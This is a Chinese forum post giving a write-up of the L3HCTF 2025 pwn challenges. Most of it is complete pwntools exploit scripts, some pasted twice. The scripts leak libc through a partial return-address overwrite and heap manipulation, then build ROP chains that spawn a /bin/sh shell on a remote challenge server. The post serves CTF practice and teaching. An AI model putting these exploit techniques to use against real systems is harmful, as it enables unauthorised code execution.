首页
社区
课程
招聘
[分享]XCTF L3HCTF 2025 pwn 方向解题思路
发表于: 2025-7-15 13:20 3583

[分享]XCTF L3HCTF 2025 pwn 方向解题思路

2025-7-15 13:20
3583

总体来说,pwn方向的题目相对其他类型还是较为简单的。

图片描述

漏洞在 fight_dragon 有个明显的stack溢出,可以通过修改 v3 来如果 canary,然后修改返回地址

fight_dragon 返回时 rsi 是一个libc 地址 ,1/16 概率 把返回地址改到这里,可以直接泄露 libc,

有了libc 后 再次利用 fight_dragon 栈溢出 写 rop 即可

fight_dragon 被修复了,但没完全修复,仍然存在 溢出,只不过只能修改返回地址的一个字节

写个脚本把在 0x18xx 这段里的gadget 都找出来看看,有没有可以利用的

有个 pop rbp

恰好下面就是 heap地址,后继续运行程序并没有出错

后面执行 note_system 可以看到 note_list[] 也在堆上了

需要在heap 上提前布局,然后泄露 heap 地址, game 函数 return 时 rsp 也在 heap 上(后面再堆风水,修改stack 进行rop)

漏洞在功能3,没有限制 page 的索引,可以任意偏移写

本地测试发现 编辑写入的数据所在的段有两种情况,在heap 下面的时候, 他会和其他线程的stack 地址有固定偏移

后面直接写rop 就行了,elf 里面gadget 足够用了,还有 syscall

from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
 
attack = '43.138.2.216:9999'.replace(' ',':')
binary = './vul2'
 
def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug(binary,gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([binary] + argv, *a, **kw)
 
#context(arch='amd64', log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
#elf  = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x00146F
brva 0x01817
#continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))
 
def note_system():
    ru('> ')
    sl('5')
 
def add(idx,size,text):
    ru('Choose an option: ')
    sl('1')
    ru(': ')
    sl(str(idx))
    ru(': ')
    sl(str(size))
    ru(': ')
    s(text)
def rm(idx):
    ru('Choose an option: ')
    sl('2')
    ru(': ')
    sl(str(idx))
def show(idx):
    ru('Choose an option: ')
    sl('3')
    ru(': ')
    sl(str(idx))
    ru('---\n')
 
for i in range(100):
    io = start([])
    ru('> ')
    sl('1')
    ru('shout:')
    pay = b'A' * 0x103
    pay += p8(0x17)
    pay += p16(0xc91A)
    try:
        sl(pay)
        ru('[Attack]: ')
        libc_base = int(rl()) - 0x204643
        libc.address = libc_base
        lss('libc_base')
        system = libc.sym['system']
        bin_sh = next(libc.search(b'/bin/sh'))
        poprdi = next(libc.search(asm('pop rdi;ret')))
        rop  = p64(poprdi+1)
        rop += p64(poprdi)
        rop += p64(bin_sh)
        rop += p64(system)
        ru('> ')
        sl('1')
        ru('shout:')
        pay = b'A' * 0x103
        pay += p8(0x17)
        pay += rop
        #gdb.attach(io,gdbscript)
        sl(pay)
        io.interactive()
    except:
        io.close()
itr()
from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
 
attack = '43.138.2.216:9999'.replace(' ',':')
binary = './vul2'
 
def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug(binary,gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([binary] + argv, *a, **kw)
 
#context(arch='amd64', log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
#elf  = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x00146F
brva 0x01817
#continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))
 
def note_system():
    ru('> ')
    sl('5')
 
def add(idx,size,text):
    ru('Choose an option: ')
    sl('1')
    ru(': ')
    sl(str(idx))
    ru(': ')
    sl(str(size))
    ru(': ')
    s(text)
def rm(idx):
    ru('Choose an option: ')
    sl('2')
    ru(': ')
    sl(str(idx))
def show(idx):
    ru('Choose an option: ')
    sl('3')
    ru(': ')
    sl(str(idx))
    ru('---\n')
 
for i in range(100):
    io = start([])
    ru('> ')
    sl('1')
    ru('shout:')
    pay = b'A' * 0x103
    pay += p8(0x17)
    pay += p16(0xc91A)
    try:
        sl(pay)
        ru('[Attack]: ')
        libc_base = int(rl()) - 0x204643
        libc.address = libc_base
        lss('libc_base')
        system = libc.sym['system']
        bin_sh = next(libc.search(b'/bin/sh'))
        poprdi = next(libc.search(asm('pop rdi;ret')))
        rop  = p64(poprdi+1)
        rop += p64(poprdi)
        rop += p64(bin_sh)
        rop += p64(system)
        ru('> ')
        sl('1')
        ru('shout:')
        pay = b'A' * 0x103
        pay += p8(0x17)
        pay += rop
        #gdb.attach(io,gdbscript)
        sl(pay)
        io.interactive()
    except:
        io.close()
itr()
from pwn import *
 
data = 'FF488D05880C00004889C7E8F0F8FFFF8B45F4488B55F864482B1425280000007405E8E9F8FFFFC9C3F30F1EFA554889E54881ECB000000064488B042528000000488945F831C0488D8550FFFFFFBAA8000000BE000000004889C7E8D0F8FFFFC745E8050F2A01C745EC5D0F1F008B55E88B45EC31D08945F08B45F089C6488D053D0C00004889C7B800000000E88EF8FFFF488D05370C00004889C7E85FF8FFFFB800000000E8DF010000B800000000E8CB0200008945F48B45F483F8050F875001000089C0488D148500000000488D051B0D00008B04024898488D150F0D00004801D03EFFE0488B45D84889C7E829FEFFFFBF00000000E893F8FFFF488D05210C0000'
data = bytes.fromhex(data)
 
context.arch='amd64'
for i in range(len(data)):
    tmp = data[i:i+0x10]
    print('--------------------')
    print(hex(i))
    print(disasm(tmp))
from pwn import *
 
data = 'FF488D05880C00004889C7E8F0F8FFFF8B45F4488B55F864482B1425280000007405E8E9F8FFFFC9C3F30F1EFA554889E54881ECB000000064488B042528000000488945F831C0488D8550FFFFFFBAA8000000BE000000004889C7E8D0F8FFFFC745E8050F2A01C745EC5D0F1F008B55E88B45EC31D08945F08B45F089C6488D053D0C00004889C7B800000000E88EF8FFFF488D05370C00004889C7E85FF8FFFFB800000000E8DF010000B800000000E8CB0200008945F48B45F483F8050F875001000089C0488D148500000000488D051B0D00008B04024898488D150F0D00004801D03EFFE0488B45D84889C7E829FEFFFFBF00000000E893F8FFFF488D05210C0000'
data = bytes.fromhex(data)
 
context.arch='amd64'
for i in range(len(data)):
    tmp = data[i:i+0x10]
    print('--------------------')
    print(hex(i))
    print(disasm(tmp))
from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
 
attack = '43.138.2.216:19999'.replace(' ',':')
binary = './vul2_revenge'
 
def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug(binary,gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([binary] + argv, *a, **kw)
 
#context(arch='amd64', log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
#elf  = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x01A0D
brva 0x1A1F
brva 0x01828
#continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))
 
def note_system():
    ru('> ')
    sl('5')
 
def add(idx,size,text):
    ru('Choose an option: ')
    sl('1')
    ru('): ')
    sl(str(idx))
    ru('size (1-2048): ')
    if len(str(size))>=4:
        s(str(size))
    else:
        sl(str(size))
    ru('ontent: ')
    s(text)
 
def rm(idx):
    ru('Choose an option: ')
    sl('2')
    ru(': ')
    sl(str(idx))
 
def show(idx):
    ru('Choose an option: ')
    sl('3')
    ru(': ')
    sl(str(idx))
    ru('---\n')
io = start([])
 
note_system()
 
add(1,0x5f7,'H'*0x10)
add(2,0x17,'A'*0x10)
add(0,0x17,'B'*0x10)
 
rm(1)
 
add(1,0x567,'E'*0x10)
 
ru('Choose an option: ')
sl('4')
 
ru('> ')
sl('1')
ru('shout:')
pay = b'A' * 0x23
pay += p8(0x37)
pay += p8(0x6a)
#gdb.attach(io,gdbscript=gdbscript)
sl(pay)
 
note_system()
 
show(0)
heap_addr =  uu64(r(6))
lss('heap_addr')
add(2,0x600,'hehe')
add(3,0x600,'hehe')
rm(2)
 
pay = p64(heap_addr+0x10) + p64(heap_addr-0x10)
add(6,0x17,pay)
show(0)
libc_base =  uu64(r(6)) - 0x203f90
lss('libc_base')
rm(1)
libc.address = libc_base
system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh'))
poprdi = next(libc.search(asm('pop rdi;ret')))
poprsi = next(libc.search(asm('pop rsi;ret')))
 
add(1,0x17,p64(0x414243)+p64(libc_base + 0x2a871)) # pop
 
rop  = p64(0)
rop += p64(poprdi)
rop += p64(bin_sh)
rop += p64(poprsi)
rop += p64(0)
rop += p64(0x00000000000b503c + libc_base) # pop rdx
rop += p64(0) * 5
rop += p64(libc.sym['execve'])
add(0xf,0x600,rop)
 
sl('4')
ru('>')
sl('6')
 
#pay = b'ABC'
#add(7,0x40,pay)
 
#ru('Choose an option: ')
#sl('4')
 
itr()
from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
 
attack = '43.138.2.216:19999'.replace(' ',':')
binary = './vul2_revenge'
 
def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug(binary,gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([binary] + argv, *a, **kw)
 
#context(arch='amd64', log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
#elf  = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x01A0D
brva 0x1A1F
brva 0x01828
#continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (6)
雪    币: 4170
活跃值: (4949)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
2

最后于 2025-7-15 14:46 被Shangwendada编辑 ,原因:
2025-7-15 14:46
0
雪    币: 2558
活跃值: (10615)
能力值: (RANK:438 )
在线值:
发帖
回帖
粉丝
3
感谢分享新鲜出炉的比赛WP~
2025-7-15 15:00
0
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
接私活吗
2025-7-17 22:42
0
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
7
winmt 感谢分享新鲜出炉的比赛WP~
能私聊吗
2025-7-24 22:49
0
游客
登录 | 注册 方可回帖
返回